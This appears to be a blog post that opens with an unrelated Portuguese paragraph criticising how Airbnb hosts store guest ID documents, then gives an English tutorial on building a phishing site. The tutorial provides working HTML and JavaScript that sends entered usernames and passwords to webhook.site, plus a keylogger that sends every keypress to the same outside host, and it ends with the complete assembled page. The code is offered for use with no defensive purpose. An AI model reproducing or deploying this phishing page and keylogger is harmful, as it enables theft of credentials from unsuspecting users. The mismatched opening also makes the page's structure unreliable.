Crie um site de phishing simples e um keylogger Javascript Somya Gupta aka MR.CYBER

dezembro 11, 2025

Airbnb

O Airbnb possui seu próprio sistema de cadastro interno. Porém, no momento do check-in, muitos anfitriões solicitam documentos e chegam a tirar fotos do hóspede segurando o documento. O problema é que esses dados ficam armazenados diretamente no aparelho do anfitrião, sem qualquer garantia de proteção adequada. Essa prática levanta sérias dúvidas sobre a segurança da informação e a conformidade com a LGPD (Lei Geral de Proteção de Dados) . Além disso, há relatos de que dados pessoais são enviados para portarias de condomínios, ampliando ainda mais os riscos de exposição. O Airbnb precisa aprimorar urgentemente esse tipo de conduta, estabelecendo protocolos claros de proteção e armazenamento de dados. A ausência de respostas transparentes da empresa sobre o nível de segurança dessas práticas demonstra uma falha significativa na forma como a plataforma lida com informações sensíveis de seus usuários.

Somya Gupta aka MR.CYBER

3 min read

by Somya Gupta AKA TWS/MR.CYBER

Hi guys!

Today I will show you a simple creation of a website with a form that will allow us to send username and password to our remote server, and we will also add a keylogger to the phishing site.

Let’s start.

To begin with, we will create the graphic appearance of the page using HTML.

<!DOCTYPE html>
 <html>
 <body>
 <h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
 <input type="text" id="username" >
 <br><br> <label for="domTextElement1">Password: </label>
 <input type="password" id="password" >
 <br><br> 
<button type="button" onclick="getValueInput()">click me!! </button>
 <p id="valueInput"></p>
 </body>
 </html>

I don’t think there is much to explain, the only important thing is to remember the names of the label IDs because we will need them later.

Now the interesting part begins.

We start by creating the Javascript code that will send the username and password to our server.

<script>
 const getValueInput = () =>{
let inputValue=document.getElementById("username").value; 
 
let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue; 
window.location.reload();
 } 
</script>

The code is quite simple, we create two variables to save the username and the password and then send them to our server.

window.location.reload() is used to refresh the page.

You can use this site to receive requests sent from our script.

https://webhook.site/#!/65960af7-32e9-4c4b-a2b3-ab6b397857b8

Note: Remember once you get your link to put it in the code ;)

We now expand the functionality of the site even more by implementing a keylogger as well 🔑.

var keys='';
var url = 'http://webhook.site/?c=';
 document.onkeypress = function(e)
 { 
get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode;
 key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){ 
if(keys.length>0) { 
new Image().src = url+keys;
 keys = ''; }
}, 1);

Javascript-Keylogger/keylogger.js at master · JohnHoder/Javascript-Keylogger · GitHub

The code is called when as soon as a key is pressed and sends the corresponding character to the server.

Here is the full code of our site.

<!DOCTYPE html>
 <html>
 <body>
 <h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
 <input type="text" id="username" >
 <br><br> <label for="domTextElement1">Password: </label>
 <input type="password" id="password" >
 <br><br> 
<button type="button" onclick="getValueInput()">click me!! </button>
 <p id="valueInput"></p>
 <script>
 const getValueInput = () =>{
 
let inputValue=document.getElementById("username").value; 
 
let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue; 
window.location.reload();
 } 
 var keys='';
var url = 'https://webhook.site/?c=';
 document.onkeypress = function(e)
 { 
get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode;
 key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){ 
if(keys.length>0) { 
new Image().src = url+keys;
 keys = ''; }
}, 1);
</script>
 </body>
 </html>